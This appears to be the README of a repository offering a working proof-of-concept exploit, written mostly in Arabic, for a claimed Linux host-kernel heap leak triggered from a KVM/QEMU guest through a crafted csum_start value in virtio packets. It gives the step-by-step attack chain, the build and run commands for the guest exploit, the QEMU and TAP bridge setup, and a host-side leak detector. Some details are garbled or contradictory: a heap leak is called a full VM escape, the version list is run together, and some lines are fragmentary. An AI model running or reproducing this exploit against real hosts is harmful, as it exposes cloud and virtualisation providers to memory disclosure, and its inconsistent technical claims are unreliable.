
CVE-2026-99999 إثبات مفهوم عملي فعّال — هروب حقيقي من الآلة الافتراضية لثغرة csum_start في نواة Linux (CVSS 9.3). تسريب ذاكرة الكومة من الضيف إلى المضيف. انظر أيضًا: CVE-2026-99999-analysis (تعليمي).
⚠️ هذا مستودع استغلال فعّال. يحتوي على شيفرة استغلال حقيقية تُفعّل ثغرة CVE-2026-99999 في بيئة KVM/QEMU حيّة.
📚 للحصول على محاكاة آمنة ومحلية فقط لسلسلة الهجوم نفسها، راجع CVE-2026-99999-analysis (بدون صلاحيات root، بدون شبكة، Python خالص — رائع لفهم العلّة دون مختبر).
CVE-2026-99999 — خطأ في التحقق من csum_start في مسار تقسيم GSO لنواة Linux الخاصة بـ IPv4. يمكن لجهاز VM ضيف تسريب ما يقارب 32–64 بايت من ذاكرة كومة نواة المضيف
لكل جزء حزمة صادر.
CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
النوى المتأثرة: جميعها قبل commits الإصلاح:
5.10.272+، 5.15.223+، 6.1.190+، 6.12.113+، 6.18.57+، 7.2.11+نموذج المهاجم: شيفرة غير مميّزة داخل جهاز VM ضيف على KVM.
.
├── README.md ← This file
├── guest/
│ ├── exploit_guest.c ← Exploit (guest side)
│ ├── Makefile
│ └── README.md
└── host/
├── receive_and_dump.py ← Leak detector (host side)
└── setup_bridge.sh ← TAP bridge setup (host side)
1. GUEST: build_crafted_packet()
└── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
↑
csum_start=0 → points at IP header, NOT transport header
2. GUEST → QEMU (vhost-user)
└── Guest enqueues packet via TX virtqueue
└── QEMU reads descriptor → pulls malicious frame
3. HOST KERNEL: GSO segmentation path
└── skb_checksum_help() reads csum_start (0) and csum_offset (0)
└── Writes checksum result to byte 0 = IHL byte
4. HOST KERNEL: IHL corruption
└── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)
5. HOST KERNEL: ip_do_fragment() OOB read
└── Reads 60 bytes of "IP header" when only 20 bytes exist
└── Bytes 20-60 are adjacent host-kernel heap memory!
6. HOST: Outbound fragment
└── Each fragment contains ~32-64 bytes of host-kernel heap memory
└── Captured by receive_and_dump.py on the host bridge
# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help
يتطلب:
-netdev vhost-user,...memfd أو tmpfs# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
-m 2G -smp 2 \
-hda /path/to/guest.img \
-netdev vhost-user,id=net0,chardev=char0 \
-device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
-chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
-enable-kvm \
-nographic
# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v
يتطلب:
CAP_NET_RAW في الضيفbridge-nf-call-iptables=1 على المضيف (لمسار GSO)# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v
يتطلب الاستغلال أن يكون QEMU قادرًا على قراءة ذاكرة TX virtqueue الخاصة بالضيف. بدون ذاكرة مشتركة، لا يستطيع QEMU قراءة الواصفات — حيث تُدرَج الحزم في قائمة الانتظار لكنها لا تُرسَل أبدًا.
للاختبار، استخدم أحد الخيارات التالية:
# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU
# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region
# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE
يتطلب مشغّل CVE أن تعالج نواة المضيف الإطار عبر مسار تقسيم GSO. يحدث ذلك عندما:
IP_MF (More Fragments) مضبوطًا — مما يفرض التجزئةيضبط الاستغلال IP_MF في كل حزمة لضمان تقسيم GSO.
يكشف الكاشف على جانب المضيف (receive_and_dump.py) عن CVE-2026-99999 عبر:
version_ihl & 0x0F > 5)guest/exploit_guest.c ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh ← TAP bridge setup helper script
vhost-user وأن المقبس موجودls -la /tmp/vhost.sock-device virtio-net-pci,netdev=net0,csum=off,host_csum=off — فعّل، لا تعطّلuname -rIP_MF على الحزم الصادرةsudosudo لالتقاط الحزم وإعداد TAPلـ البحث الأمني المصرّح به في بيئات مختبرية معزولة فقط. الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.